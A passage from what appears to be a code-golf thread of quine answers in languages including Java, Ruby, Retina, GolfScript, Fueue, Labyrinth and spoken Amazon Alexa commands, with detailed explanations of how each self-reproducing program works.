value to `'!` (one less than `\"`), then increment with `+` and *then* print the result with `O`.\n## Alternatives\nHere are a couple of alternatives, which are longer, but maybe their techniques inspire someone to find a shorter version using them (or maybe they'll be more useful in certain generalised quines).\n### 8 bytes using `J`ump\n```\n' |R@JO\"\n```\nAgain, the code starts at `R`. The `@` swaps mass and energy to give `(0,1)`. Therefore the `J` makes the atom jump over the `O` straight onto the `\"`. Then, as before, all but the `\"` are printed in string mode. Afterwards, the atom hits `|` to reverse its direction, and then passes through `'\"O` printing `\"`. The space is a bit annoying, but it seems necessary, because otherwise the `'` would make the atom treat the `|` as a character instead of a mirror.\n### 8 bytes using two atoms\n```\n\"'L;R@JO\n```\nThis has two atoms, starting left-going from `L` and right-going from `R`. The left-going atom gets its value set by `'\"` which is then immediately printed with `O` (and the atom destroyed). For the right-going atom, we swap mass and energy again, jump over the `O` to print the rest of the code in print mode. Afterwards its value is set by `'L` but that doesn't matter because the atom is then discarded with `;`.\n[Answer]\n## Java, 528 bytes:\nA Java solution with an original approach:\n```\nimport java.math.*;class a{public static void main(String[]a){BigInteger b=new BigInteger(\"90ygts9hiey66o0uh2kqadro71r14x0ucr5v33k1pe27jqk7mywnd5m54uypfrnt6r8aks1g5e080mua80mgw3bybkp904cxfcf4whcz9ckkecz8kr3huuui5gbr27vpsw9vc0m36tadcg7uxsl8p9hfnphqgksttq1wlolm2c3he9fdd25v0gsqfcx9vl4002dil6a00bh7kqn0301cvq3ghdu7fhwf231r43aes2a6018svioyy0lz1gpm3ma5yrspbh2j85dhwdn5sem4d9nyswvx4wmx25ulwnd3drwatvbn6a4jb000gbh8e2lshp\",36);int i=0;for(byte c:b.toByteArray()){if(++i==92)System.out.print(b.toString(36));System.out.print((char)c);}}}\n```\nin readable form:\n```\nimport java.math.*;\nclass a\n{\n public static void main (String [] a)\n {\n BigInteger b=new BigInteger (\"90ygts9hiey66o0uh2kqadro71r14x0ucr5v33k1pe27jqk7mywnd5m54uypfrnt6r8aks1g5e080mua80mgw3bybkp904cxfcf4whcz9ckkecz8kr3huuui5gbr27vpsw9vc0m36tadcg7uxsl8p9hfnphqgksttq1wlolm2c3he9fdd25v0gsqfcx9vl4002dil6a00bh7kqn0301cvq3ghdu7fhwf231r43aes2a6018svioyy0lz1gpm3ma5yrspbh2j85dhwdn5sem4d9nyswvx4wmx25ulwnd3drwatvbn6a4jb000gbh8e2lshp\", 36); \n int i=0; \n for (byte c:b.toByteArray ())\n {\n if (++i==92) \n System.out.print (b.toString (36)); \n System.out.print ((char) c);\n }\n }\n}\n```\n[Answer]\nThese are the two shortest **Ruby** quines [from SO](https://stackoverflow.com/questions/2474861/shortest-ruby-quine/2475931#2475931):\n```\n_=\"_=%p;puts _%%_\";puts _%_\n```\nand\n```\nputs <<2*2,2\nputs <<2*2,2\n2\n```\nDon't ask me how the second works...\n[Answer]\n## [Retina](https://github.com/m-ender/retina/wiki/The-Language), ~~20~~ ~~14~~ ~~9~~ 7 bytes\nBefore we get started, I'd like to mention the trivial solution of a file which contains a single `0`. In that case Retina will try to count the `0`s in the empty input, the result of which is also `0`. I wouldn't consider that a proper quine though.\nSo here is a proper one:\n```\n>\\`\n>\\`\n```\n[Try it online!](https://tio.run/##K0otycxLNPz/3y4mgQuI//8HAA \"Retina – Try It Online\")\nAlternatively, we could use `;` instead of `>`.\n### Explanation\nThe program consists of a single replacement which we print twice.\nIn the first line, the ``` separates the configuration from the regex, so the regex is empty. Therefore the empty string (i.e. the non-existent input) is replaced with the second line, verbatim.\nTo print the result twice, we wrap it in two output stages. The inner one, `\\` prints the result with a trailing linefeed, and the outer one, `>`, prints it without one.\nIf you're a bit familiar with Retina, you might be wondering what happened to Retina's implicit output. Retina's implicit output works by wrapping the final stage of a program in an output stage. However, Retina doesn't do this, if the final stage is already an output stage. The reason for that is that in a normal program it's more useful to be able to replace the implicit output stage with special one like `\\` or `;` for a single byte (instead of having to get rid of the implicit one with the `.` flag as well). Unfortunately, this behaviour ends up costing us two bytes for the quine.\n[Answer]\n## GolfScript, 8 bytes\nI always thought the shortest (true) GolfScript quine was 9 bytes:\n```\n{'.~'}.~\n```\nWhere the trailing linefeed is necessary because GolfScript prints a trailing linefeed by default.\nBut I just found an 8-byte quine, which works exactly around that linefeed restriction:\n```\n\":n`\":n`\n```\n[Try it online!](http://golfscript.tryitonline.net/#code=IjpuYCI6bmA&input=)\nSo the catch is that GolfScript doesn't print a trailing linefeed, but it prints the contents of `n` at the end of the program. It's just that `n` contains a linefeed to begin with. So the idea is to replace that with the string `\":n`\"`, and then stringifying it, such that the copy on the stack prints with quotes and copy stored in `n` prints without.\nAs pointed out by Thomas Kwa, the 7-byte CJam quine can also be adapted to an 8-byte solution:\n```\n\".p\"\n.p\n```\nAgain, we need the trailing linefeed.\n[Answer]\n# [Fueue](https://github.com/TryItOnline/fueue), 423 bytes\nFueue is a queue-based esolang in which the running program *is* the queue.\n```\n)$$4255%%1(~):[)$$24%%0:<[~:)~)]~[$11~)~<[[+$4--498+*-:~-10)):])<~][)))~]<]](H-):~:[)[):~[)~:~~([:~)*[):~[$1(+48]):~+]-:~~)10)~~]/]+:5):]~:](106328966328112328136317639696111819119696281563139628116326221310190661962811611211962861109696289611619628116111612896281115421063633063961111116163963011632811111819159628151213262722151522061361613096119619190661966311961128966130281807072220060611612811961019070723232022060611\n```\n[Try it online!](https://tio.run/##TU9bjsQgDLtMKzVTVRvzSAH1AHsHxOfsDeY3V@8mzKy0VFAnJrb5eT1fz/umZUkh53XFptS6lSGtK7erayOloX0BlPTqfV/ScaRa9sfR9AATtUGXjk5EOq4xtu@DmppIt18nbapbb0qPWS/Y9lSGwX2YgJIpqI6vsbdsStrGBpYYShU/geBnlIhTYpUqAAoq4NiYbEycCHZfQkAEo7IIPl2TwMSG@D3lKv94297zCjkF95cY2f0wl8Bx5OlRZssz5HcC03fn07wzcggsltdmIvu87fqXx7J6Pd2ct@nCJ9tkYBaWd5J5x9/gTLSPXdPZ@/4F \"Fueue – Try It Online\")\n# How it works\nThis explanation ~~may or may not have~~ got way out of hand. On the other hand I don't know how to explain it *much* shorter in a way I hope people can follow.\n## Fueue cheat sheet\nSee [esolang wiki article](https://esolangs.org/wiki/Fueue) for details, including the few features not used in this program.\n* The initial program is the initial state of the queue, which can contain the following elements:\n\t+ Integer literals (only non-negative in the source, but negative ones can be calculated), executing them prints a character.\n\t+ Square-bracket delimited nested blocks, inert (preserved intact unless some function acts upon them).\n\t+ Functions, their arguments are the elements following them immediately in the queue:\n\t\t- `+*/-%`: integer arithmetic (`-` is unary, `%` logical negation). Inert if not given number arguments.\n\t\t- `()<`: put element in brackets, remove brackets from block, add final element to block. The latter two are inert unless followed by a block.\n\t\t- `~:`: swap, duplicate.\n\t\t- `$`: copy (takes number + element). Inert before non-number.\n\t\t- `H`: halt program.Note that while `[]` nest, `()` don't - the latter are simply separate functions.\n## Execution trace syntax\nWhitespace is optional in Fueue, except between numerals. In the following execution traces it will be used to suggest program structure, in particular:\n* When a function executes, it and its arguments will be set off from the surrounding elements with spaces. If some of the arguments are complicated, there may be a space between them as well.\n* Many execution traces are divided into a \"delay blob\" on the left, separated from a part to the right that does the substantial data manipulation. See next section.\nCurly brackets `{}` (not used in Fueue) are used in the traces to represent the integer result of mathematical expressions. This includes negative numbers, as Fueue has only non-negative literals – `-` is the negation function.\nVarious metavariable names and `...` are used to denote values and abbreviations.\n## Delaying tactics\nIntuitively, execution cycles around the queue, partially modifying what it passes through. The results of a function cannot be acted on again until the next cycle. Different parts of the program effectively evolve in parallel as long as they don't interact.\nAs a result, a lot of the code is devoted to synchronization, in particular to delaying execution of parts of the program until the right time. There are a lot of options for golfing this, which tends to turn those parts into unreadable blobs that can only be understood by tracing their execution cycle by cycle.\nThese tactics won't always be individually mentioned in the below:\n* `)[A]` delays `A` for a cycle. (Probably the easiest and most readable method.)\n* `~ef` swaps the elements `e` and `f` which also delays their execution. (Probably the least readable, but often shortest for minor delays.)\n* `$1e` delays a single element `e`.\n* `-` and `%` are useful for delaying numbers (the latter for `0` and `1`.)\n* When delaying several equal elements in a row, `:` or `$` can be used to create them from a single one.\n* `(n` wraps `n` in brackets, which may later be removed at convenience. This is particularly vital for numeric calculations, since numbers are too unstable to even be copied without first putting them in a block.\n## Overall structure\nThe rest of the explanation is divided into seven parts, each for a section of the running program. The larger cycles after which most of them repeat themselves will be called \"iterations\" to distinguish them from the \"cycles\" of single passes through the entire queue.\nHere is how the initial program is divided between them:\n```\nA: )$$4255%%1(~\nB: ):[)$$24%%0:<[~:)~)]~[$11~)~<[[+$4--498+*-:~-10)):])<~][)))~]<]]\nC: \nD: (H-\nE: \nF: \nG: ):~:[)[):~[)~:~~([:~)*[):~[$1(+48]):~+]-:~~)10)~~]/]+:5):]~:](106328966328112328136317639696111819119696281563139628116326221310190661962811611211962861109696289611619628116111612896281115421063633063961111116163963011632811111819159628151213262722151522061361613096119619190661966311961128966130281807072220060611612811961019070723232022060611\n```\nThe big numeral at the end of the program encodes the rest in reverse, two digits per character, with 30 subtracted from each ASCII value (so e.g. `10` encodes a `(`.)\nOn a higher level you can think of the data in this program (starting with the bignum) as flowing from right to left, but control flowing from left to right. However, at a lower level Fueue muddles the distinction between code and data all the time.\n* Section G decodes the bignum into ASCII digits (e.g. digit `0` as the integer `48`), splitting off the least significant digits first. It produces one digit every 15 cycles.\n* Section F contains the produced digit ASCII values (each inside a block) until section E can consume them.\n* Section E handles the produced digits two at a time, pairing them up into blocks of the form `[x[y]]`, also printing the encoded character of each pair.\n* Section D consists of a deeply nested block gradually constructed from the `[x[y]]` blocks in such a way that once it contains all digits, it can be run to print all of them, then halt the entire program.\n* Section C handles the construction of section D, and also recreates section E.\n* Section B recreates section C as well as itself every 30 cycles.\n* Section A counts down cycles until the last iteration of the other sections. Then it aborts section B and runs section D.\n## Section A\nSection A handles scheduling the end of the program.\nIt takes 4258 cycles to reduce to a single swap function `~`, which then makes an adjustment to section B that stops its main loop and starts running section D instead.\n```\n)$ $4255% %1 (~\n)$%%%...%% %0 [~]\n)$%%%...% %1 [~]\n⋮\n)$ %0 [~]\n) $1[~]\n)[~]\n~\n```\n* A `$` function creates 4255 copies of the following `%` while the `(` wraps the `~` in brackets.\n* Each cycle the last `%` is used up to toggle the following number between `0` and `1`.\n* When all `%`s are used up, the `$1` creates 1 copy of the `[~]` (effectively a NOP), and on the next cycle the `)` removes the brackets.\n## Section B\nSection B handles regenerating itself as well as a new iteration of section C every 30 cycles.\n```\n) : [)$$24%%0:<[~:)~)]~[$11~)~<[[+$4--498+*-:~-10)):])<~][)))~]<]]\n) [)$$24%%0:<[~:)~)]~[$11~)~<[[+$4--498+*-:~-10)):])<~][)))~]<]] [BkB]\n)$ $24% %0 :< [~:)~)] ~ [$11~)~<[[+$4--498+*-:~-10)):])<~][)))~]<] [BkB]\n)$ %...%%% %1 < < [~:)~)] [BkB] [$11~)~<[[+$4--498+*-:~-10)):])<~][)))~]<]\n)$ %...%% %0 < [~:)~)[BkB]] [$11~)~<[[+$4--498+*-:~-10)):])<~][)))~]<]\n)$ %...% %1 [~:)~)[BkB][$11~)~<[[+$4--498+*-:~-10)):])<~][)))~]<]]\n⋮\n) $1 [~:)~)[BkB][$11~)~<[[+$4--498+*-:~-10)):])<~][)))~]<]]\n) [~:)~)[BkB][$11~)~<[[+$4--498+*-:~-10)):])<~][)))~]<]] (1)\n~:) ~)[BkB] [$11~)~<[[+$4--498+*-:~-10)):])<~][)))~]<]\n) : [BkB] ) [$11~)~<[[+$4--498+*-:~-10)):])<~][)))~]<] (2)\n) [BkB] [BkB] $11~)~<[[+$4--498+*-:~-10)):])<~][)))~]<\n```\n* A `:` duplicates the big block following (one copy abbreviated as `[BkB]`), then `)` removes the brackets from the first copy.\n* `$$24%%0` sets up a countdown similar to the one in section A.\n* While this counts down, `:<` turns into `<<`, and a `~` swaps two of the blocks, placing the code for a new section C last.\n* The two `<` functions pack the two final blocks into the first one - this is redundant in normal iterations, but will allow the `~` from section A to do its job at the end.\n* (1) When the countdown is finished, the `)` removes the outer brackets. Next `~:)` turns into `):` and `~)` swaps a `)` to the beginning of the section C code.\n* (2) Section B is now back at its initial cycle, while a `)` is just about to remove the brackets to start running a new iteration of section C.\nIn the final iteration, the `~` from section A appears at point (1) above:\n```\n~ ) [~:)~)[BkB][$11~)~<[[+$4--498+*-:~-10)):])<~][)))~]<]] (1)\n[~:)~)[BkB][$11~)~<[[+$4--498+*-:~-10)):])<~][)))~]<]] )\n```\nThe `~` swaps the `)` across the block and into section C, preventing section B from being run again.\n## Section C\nSection C handles merging new digit character pairs into section D's block, and also creating new iterations of section E.\nThe below shows a typical iteration with `x` and `y` representing the digits' ASCII codes. In the very first iteration, the incoming \"D\" and \"E\" elements are the initial `[H]` and `-` instead, as no previous section E has run to produce any digit character pairs.\n```\nC D E\n$11~ ) ~<[[+$4--498+*-:~-10)):])<~] [)))~] < [)))~[...]] [x[y]]\n~~~ ~~~ ~~~ ~~) [[+$4--498+*-:~-10)):])<~] < [)))~] [)))~[...][x[y]]]\n~~~ ~~~ ) ~ [[+$4--498+*-:~-10)):])<~] [)))~[)))~[...][x[y]]]]\n~~~ ~ ) [)))~[....]] [[+$4--498+*-:~-10)):])<~]\n ~~[)))~[....]] )[[+$4--498+*-:~-10)):])<~]\n [)))~[....]] ~[+$4--498+*-:~-10)):])<~\n```\n* This uses a different method of synchronization which I discovered for this answer. When you have several swap functions `~` in a row, the row will shrink to approximately 2/3 each cycle (because one `~` swaps two following), but occasionally with a remainder of `~`s that ~~wreaks havoc on~~ carefully manipulates what follows.\n* `$11~` produces such a row. The next `~` swaps a `<` across the following block. Another `<` at the end appends a new digit pair block (digits x and y as ASCII codes) into the section D block.\n* Next cycle, the `~` row has a `~~` remainder, which swaps a `~` over the following `)`. The other `<` appends section D to a `[)))~]` block.\n* Next the swapped `~` itself swaps the following block with new section E code across the section D block. Then a new leftover `~` swaps a `)` across, and finally the last `~~` in the `~` row swap one of them across to section E just as the `)` has removed its brackets.\nIn the final iteration, section A's `~` has swapped a `)` across section B and into section C. However, section C is so short-lived that it already has disappeared, and the `)` ends up at the beginning of section D.\n## Section D\nSection D handles printing the final big numeral and halting the program. During most of the program run, it is an inert block that sections B–G cooperate on building.\n```\n (H -\n [H]-\n ⋮\n [)))~[H-]] After one iteration of section C\n ⋮\n [)))~[)))~[H-][49[49]]]] Second iteration, after E has also run\n ⋮\n) [)))~[...]] [49[48]] Final printing starts as ) is swapped in\n ))) ~[...][49[48]]\n )) )[49[48]] [...]\n )) 49 [48][...] Print first 1\n ) )[48] [...]\n ) 48 [...] Print 0\n )[...] Recurse to inner block\n ...\n ⋮\n )[H-] Innermost block reached\n H - Program halts\n```\n* In the first cycle of the program, a `(` wraps the halting function `H` in brackets. A `-` follows, it will be used as a dummy element for the first iteration instead of a digit pair.\n* The first real digit pair incorporated is `[49[49]]`, corresponding to the final `11` in the numeral.\n* The very last digit pair `[49[48]]` (corresponding to the `10` at the beginning of the numeral) is not actually incorporated into the block, but this makes no difference as `)[A[B]]` and `)[A][B]` are equivalent, both turning into `A[B]`.\nAfter the final iteration, the `)` swapped rightwards from section B arrives and the section D block is deblocked. The `)))~` at the beginning of each sub-block makes sure that all parts are executed in the right order. Finally the innermost block contains an `H` halting the program.\n## Section E\nSection E handles combining pairs of ASCII digits produced by section G, and both prints the corresponding encoded character and sends a block with the combined pair leftwards to sections C and D.\nAgain the below shows a typical iteration with `x` and `y` representing the digits' ASCII codes. \n```\nE F\n~ [+$4--498+*-:~-10)):] ) < ~ [y] [x]\n) [+$4--498+*-:~-10)):] < [x] [y]\n+ $4- - 498 +*- :~ -10 ) ) : [x[y]]\n+--- -{-498} +*- ~~{-10} ) ) [x[y]] [x[y]]\n+-- - 498 +* -{-10} ~ ) x [y] [x[y]]\n+- -{-498} + * 10 x )[y] [x[y]]\n+ - 498 + {10*x} y [x[y]]\n + {-498} {10*x+y} [x[y]]\n{10*x+y-498} [x[y]]\n[x[y]]\n```\n* The incoming digit blocks are swapped, then the y block is appended to the x block, and the whole pair block is copied. One copy will be left until the end for sections C and D.\n* The other copy is deblocked again, then a sequence of arithmetic functions are applied to calculate `10*x+y-498`, the ASCII value of the encoded character. `498 = 10*48+48-30`, the `48`s undo the ASCII encoding of `x` and `y` while the `30` shifts the encoding from `00–99` to `30–129`, which includes all printable ASCII.\n* The resulting number is then left to execute, which prints its character.\n## Section F\nSection F consists of inert blocks containing ASCII codes of digits. For most of the program run there will be at most two here, since section E consumes them at the same speed that G produces them with. However, in the final printing phase some redundant `0` digits will collect here.\n```\n[y] [x] ...\n```\n## Section G\nSection G handles splitting up the big number at the end of the program, least significant digits first, and sending blocks with their ASCII codes leftward to the other sections.\nAs it has no halting check, it will actually continue producing `0` digits when the number has whittled down to 0, until section D halts the entire program with the `H` function.\n`[BkG]` abbreviates a copy of the big starting code block, which is used for self-replication to start new iterations.\nInitialization in the first cycles:\n```\n) :~ : [)[):~[)~:~~([:~)*[):~[$1(+48]):~+]-:~~)10)~~]/]+:5):]~:] ( 106328966328112328136317639696111819119696281563139628116326221310190661962811611211962861109696289611619628116111612896281115421063633063961111116163963011632811111819159628151213262722151522061361613096119619190661966311961128966130281807072220060611612811961019070723232022060611\n) ~ ~ [)[):~[)~:~~([:~)*[):~[$1(+48]):~+]-:~~)10)~~]/]+:5):]~:] [BkG] [10...11]\n) [)[):~[)~:~~([:~)*[):~[$1(+48]):~+]-:~~)10)~~]/]+:5):]~:] ~ [BkG] [10...11]\n) [):~[)~:~~([:~)*[):~[$1(+48]):~+]-:~~)10)~~]/]+:5):] ~ : [10...11] [BkG]\n```\nTypical iteration, `N` denotes the number to split:\n```\n) [):~[)~:~~([:~)*[):~[$1(+48]):~+]-:~~)10)~~]/]+:5):] ~ : [N] [BkG]\n) :~ [)~:~~([:~)*[):~[$1(+48]):~+]-:~~)10)~~]/]+ :5 ) : [N] : [BkG]\n) ~ ~ [)~:~~([:~)*[):~[$1(+48]):~+]-:~~)10)~~]/] +5 5 ) [N] [N] [BkG] [BkG]\n) [)~:~~([:~)*[):~[$1(+48]):~+]-:~~)10)~~]/] ~ 10 N [N] [BkG] [BkG]\n) ~:~ ~ ( [:~)*[):~[$1(+48]):~+]-:~~)10)~~] / N 10 [N] [BkG] [BkG]\n) ~ : [:~)*[):~[$1(+48]):~+]-:~~)10)~~] ( {N/10} [N] [BkG] [BkG]\n) [:~)*[):~[$1(+48]):~+]-:~~)10)~~] : [{N/10}] [N] [BkG] [BkG]\n:~ )*[):~[$1(+48]):~+]- :~ ~)10 ) ~ ~ [{N/10}] [{N/10}] [N] [BkG] [BkG]\n~~) *[):~[$1(+48]):~+]- ~~10 ) ) [{N/10}] ~ [{N/10}] [N] [BkG] [BkG]\n) ~ * [):~[$1(+48]):~+] -10 ~ ) {N/10} [N] [{N/10}] [BkG] [BkG]\n) [):~[$1(+48]):~+] * {-10} {N/10} ) [N] [{N/10}] [BkG] [BkG]\n) :~ [$1(+48]) :~ + {-10*(N/10)} N [{N/10}] [BkG] [BkG]\n) ~ ~ [$1(+48] ) ~ ~ {N%10} [{N/10}] [BkG] [BkG]\n) [$1(+48] ~ ) {N%10} ~ [{N/10}] [BkG] [BkG]\n$1( + 48 {N%10} ) [BkG] [{N/10}] [BkG]\n ( {48+N%10} BkG [{N/10}] [BkG] New iteration starts\n [{48+N%10}] ....\n```\n* The delay blob here is particularly hairy. However, the only new delaying trick is to use `+:5` instead of `--10` to delay a `10` two cycles. Alas only one of the `10`s in the program was helped by this.\n* The `[N]` and `[BkG]` blocks are duplicated, then one copy of `N` is divided by `10`.\n* `[{N/10}]` is duplicated, then more arithmetic functions are used to calculate the ASCII code of the last digit of `N` as `48+((-10)*(N/10)+N)`. The block with this ASCII code is left for section F.\n* The other copy of `[{N/10}]` gets swapped between the `[BkG]` blocks to set up the start of a new iteration.\n# Bonus quine (540 bytes)\n```\n)$$3371%%1[~!~~!)!]):[)$$20%%0[):]~)~~[)$$12%%0[<$$7%~~0):~[+----48+*-~~10))]<]<~!:~)~~[40~[:~))~:~[)~(~~/[+--48):]~10]+30])):]]][)[H]](11(06(06(21(21(25(19(07(07(19(61(96(03(96(96(03(11(03(63(11(28(61(11(06(06(20(18(07(07(18(61(11(28(63(96(11(96(96(61(11(06(06(19(20(07(07(18(61(30(06(06(25(07(96(96(18(11(28(96(61(13(15(15(15(15(22(26(13(12(15(96(96(19(18(11(11(63(30(63(30(96(03(28(96(11(96(96(61(22(18(96(61(28(96(11(11(96(28(96(61(11(96(10(96(96(17(61(13(15(15(22(26(11(28(63(96(19(18(63(13(21(18(63(11(11(28(63(63(63(61(11(61(42(63(63\n```\n[Try it online!](https://tio.run/##VVBbjsMwCDxLpESCjaoFO2/lAL2D5c/2Bv3l6lnwo/FaIwsPzIB5f16f13Vh33u/8jBwkE6kwy7iEZR1NAwU8IiCIkawM@Ls@3UQITwkjA890zb@PESYEOMZT@mOJJhIgkYoWocCIr9WPm1myBRHTxE1jjFgeMYIzECLwXHCDLwDrQYNFoZds97uHFi9hyUFbrOC24GAt6qtKatJcuZi0kq0hapaiafqNhuZJZrKVkWu3ecbzoFbEunsWSR7USl0ALXNd/5FtmpHUhOu/t9sLrj7pidTbbH@G6aM0X45zWC78rbbEjdrKchDMkwuM9f1Bw \"Fueue – Try It Online\")\nSince I wasn't sure which method would be shortest, I first tried encoding characters as two-digit numbers separated by `(`s. The core code is a bit shorter, but the 50% larger data representation makes up for it. Not as golfed as the other one, as I stopped when I realized it wouldn't beat it. It has one advantage: It doesn't require an implementation with bignum support.\nIts overall structure is somewhat similar to the main one. Section G is missing since the data representation fills in section F directly. However, section E must do a similar divmod calculation to reconstruct the digits of the two-digit numbers.\n[Answer]\n# [Amazon Alexa](https://en.wikipedia.org/wiki/Amazon_Alexa), 31 words\n```\nAlexa, Simon Says Alexa, Simon Says\nAlexa, Repeat That\nAlexa, Simon Says Alexa, Repeat That Alexa, Simon Says, Alexa, Repeat That Alexa, Simon Says\nAlexa, Repeat That\nAlexa, Simon Says quiet\n```\n(each command is on a newline)\nWhen said out loud to a device with the Amazon Alexa digital assistant enabled (I've only tested this on the Echo Dot though), it should say the same words back to you. There will be some different lengths of pauses between words, as you wait for Alexa to reply, and it says everything without breaks, but the sequence of words are the same.\n### Explanation:\nEach line is a new Alexa command, one of either:\n* `Alexa, Simon Says ...`, which will prompt Alexa to say everything afterward the command\n* `Alexa, Repeat That`, which repeats the last thing Alexa said\n(neither of these appear on most lists of Alexa commands, so I hope someone has actually learned something from this)\nWe can simplify this to the commands `S` and `R` respectively, separated by spaces. For example, `SR` will represent `Alexa, Simon Says Alexa, Repeat That`. The translation of our program would be:\n```\nSS R SRSRS R SQ\n```\nWhere `Q` is `quiet` (but can be anything. I chose `quiet` because that's what Alexa produced when I tried to give it `quine`, and it fit, so I kept it). Step by step, we can map each command to the output of each command:\n```\nCommands: SS\nOutput: S\nCommands: SS R\nOutput: S S\nCommands: SS R SRSRS\nOutput: S S RSRS\nCommands: SS R SRSRS R\nOutput: S S RSRS RSRS\nCommands: SS R SRSRS R SQ\nOutput: S S RSRS RSRS Q\nTotal Commands: SSRSRSRSRSQ\nTotal Output: SSRSRSRSRSQ\n```\nThe general approach for this was to get the output *ahead* of the input commands. This happens on the second to last command, which gets an extra `S` command. First we have to get behind on output though. The first two commands `SS R` only produce `SS`, leaving us to make up the `R`. However, this allows us to start a `S` command with an `R`, which means we can repeat a section (`RSRS`) multiple times, which allows us to get the spare `S` leftover. After that, all we had to do was use it to say whatever we wanted.\n[Answer]\n## Javascript (36 char)\n```\n(function a(){alert(\"(\"+a+\")()\")})()\n```\nThis is, AFAICT, the shortest javascript quine posted so far.\n[Answer]\n# [Labyrinth](https://github.com/mbuettner/labyrinth), ~~124~~ ~~110~~ 53 bytes\n*Thanks to Sp3000 for golfing off 9 bytes, which allowed me to golf off another 7.*\n```\n44660535853919556129637653276602333!\n1\n:_98\n/8 %\n@9_.\n```\n[Try it online!](http://labyrinth.tryitonline.net/#code=NDQ2NjA1MzU4NTM5MTk1NTYxMjk2Mzc2NTMyNzY2MDIzMzMhCjEKOl85OAovOCAlCkA5Xy4&input=)\n## Explanation\nLabyrinth 101:\n* Labyrinth is a stack-based 2D language. The stack is bottomless and filled with zeroes, so popping from an empty stack is not an error.\n* Execution starts from the first valid character (here the top left). At each junction, where there are two or more possible paths for the instruction pointer (IP) to take, the top of the stack is checked to determine where to go next. Negative is turn left, zero is go forward and positive is turn right.\n* Digits in the source code don't push the corresponding number – instead, they pop the top of the stack and push `n*10 + `. This allows the easy building up of large numbers. To start a new number, use `_`, which pushes zero.\n* `\"` are no-ops.\nFirst, I'll explain a slightly simpler version that is a byte longer, but a bit less magical:\n```\n395852936437949826992796242020587432!\n\"\n:_96\n/6 %\n@9_.\n```\n[Try it online!](http://labyrinth.tryitonline.net/#code=Mzk1ODUyOTM2NDM3OTQ5ODI2OTkyNzk2MjQyMDIwNTg3NDMyIQoiCjpfOTYKLzYgJQpAOV8u&input=)\nThe main idea is to encode the main body of the source in a single number, using some large base. That number can then itself easily be printed back before it's decoded to print the remainder of the source code. The decoding is simply the repeated application of `divmod base`, where print the `mod` and continue working with the `div` until its zero.\nBy avoiding `{}`, the highest character code we'll need is `_` (95) such that base 96 is sufficient (by keeping the base low, the number at the beginning is shorter). So what we want to encode is this:\n```\n!\n\"\n:_96\n/6 %\n@9_.\n```\nTurning those characters into their code points and treating the result as a base-96 number (with the least-significant digit corresponding to `!` and the most-significant one to `.`, because that's the order in which we'll disassemble the number), we get\n```\n234785020242697299628949734639258593\n```\nNow the code starts with a pretty cool trick (if I may say so) that allows us to print back the encoding and keep another copy for decoding with very little overhead: we put the number into the code in reverse. I computed the result [with this CJam script](http://cjam.aditsu.net/#code=qW%2596bsW%25&input=!%0A%22%0A%3A_96%0A%2F6%20%25%0A%409_.) So let's move on to the actual code. Here's the start:\n```\n395852936437949826992796242020587432!\n\"\n```\nThe IP starts in the top left corner, going east. While it runs over those digits, it simply builds up that number on top of the stack. The number itself is entirely meaningless, because it's the reverse of what we want. When the IP hits the `!`, that pops this number from the stack and prints it. That's all there is to reproducing the encoding in the output.\nBut now the IP has hit a dead end. That means it turns around and now moves back west (without executing `!` again). This time, conveniently, the IP reads the number from back to front, so that now the number on top of the stack *does* encode the remainder of the source.\nWhen the IP now hits the top left corner again, this is not a dead end because the IP can take a left turn, so it does and now moves south. The `\"` is a no-op, that we need here to separate the number from the code's main loop. Speaking of which:\n```\n...\n\"\n:_96\n/6 %\n@9_.\n```\nAs long as the top of the stack is not zero yet, the IP will run through this rather dense code in the following loop:\n```\n\"\n>>>v\n^< v\n ^<<\n```\nOr laid out linearly:\n```\n:_96%._96/\n```\nThe reason it takes those turns is because of Labyrinth's control flow semantics. When there are at least three neighbours to the current cell, the IP will turn left on a negative stack value, go ahead on a zero and turn right on a positive stack value. If the chosen direction is not possible because there's a wall, the IP will take the opposite direction instead (which is why there are two left turns in the code although the top of the stack is never negative).\nThe loop code itself is actually pretty straightforward (compressing it this tightly wasn't and is where Sp3000's main contribution is):\n```\n: # Duplicate the remaining encoding number N.\n_96 # Push 96, the base.\n%. # Take modulo and print as a character.\n_96 # Push 96 again.\n/ # Divide N by 96 to move to the next digit.\n```\nOnce `N` hits zero, control flow changes. Now the IP would like to move straight ahead after the `/` (i.e. west), but there's a wall there. So instead if turns around (east), executes the `6` again. That makes the top of the stack positive, so the IP turns right (south) and executes the `9`. The top of the stack is now `69`, but all we care about is that it's positive. The IP takes another right turn (west) and moves onto the `@` which terminates the code.\nAll in all, pretty simple actually.\nOkay, now how do we shave off that additional byte. Clearly, that no-op seems wasteful, but we need that additional row: if the loop was adjacent to the number, the IP would already move there immediately instead of traversing the entire number. So can we do something useful with that no-op.\nWell, in principle we can use that to add the last digit onto the encoding. The encoding doesn't really need to be all on the first line... the `!` just ensures that whatever *is* there also gets printed there.\nThere is a catch though, we can't just do this:\n```\n95852936437949826992796242020587432!\n3\n:_96\n/6 %\n@9_.\n```\nThe problem is that now we've changed the `\"` to a `3`, which also changes the actual number we want to have. And sure enough that number doesn't end in `3`. Since the number is completely determined by the code starting from `!` we can't do a lot about that. \n*But* maybe we can choose another digit? We don't really care whether there's a `3` in that spot as long as we end up with a number that correctly encodes the source. Well, unfortunately, none of the 10 digits yields an encoding whose least-significant digit matches the chosen one. Luckily, there's some leeway in the remainder of the code such that we can try a few more encodings without increasing the byte count. I've found three options:\n1. We can change `@` to `/`. In that case we can use any digit from `1357` and get a matching encoding. However, this would mean that the program then terminates with an error, which is allowed but doesn't seem very clean.\n2. Spaces aren't the only \"wall\" characters. Every unused character is, notably all letters. If we use an upper case letter, then we don't even need to increase the base to accommodate it (since those code points are below `_`). 26 choices gives plenty of possibilities. E.g. for `A` any odd digit works. This is a bit nicer, but it still doesn't seem all that elegant, since you'd never use a letter there in real code.\n3. We can use a greater base. As long as we don't increase the base significantly, the number of decimal digits in the encoding will remain the same (specifically, any base up to 104 is fine, although bases beyond 99 would actually require additional characters in the code itself). Luckily, base 98 gives a single matching solution: when we use the digit `1`, the encoding also ends in `1`. This is the only solution among bases 96, 97, 98, 99, so this is indeed very lucky. And that's how we end up with the code at the top of this answer.\n[Answer]\n# [Lost](https://github.com/Wheatwizard/Lost), ~~293~~ ~~262~~ 249 bytes\n```\n>:2+52*:6*:(84*+75*):>:::::[[[[[[[:[(52*)>::::[[[[[[:[84*+@>%?!<((((((((((([[[[[[[[[[[[[[ 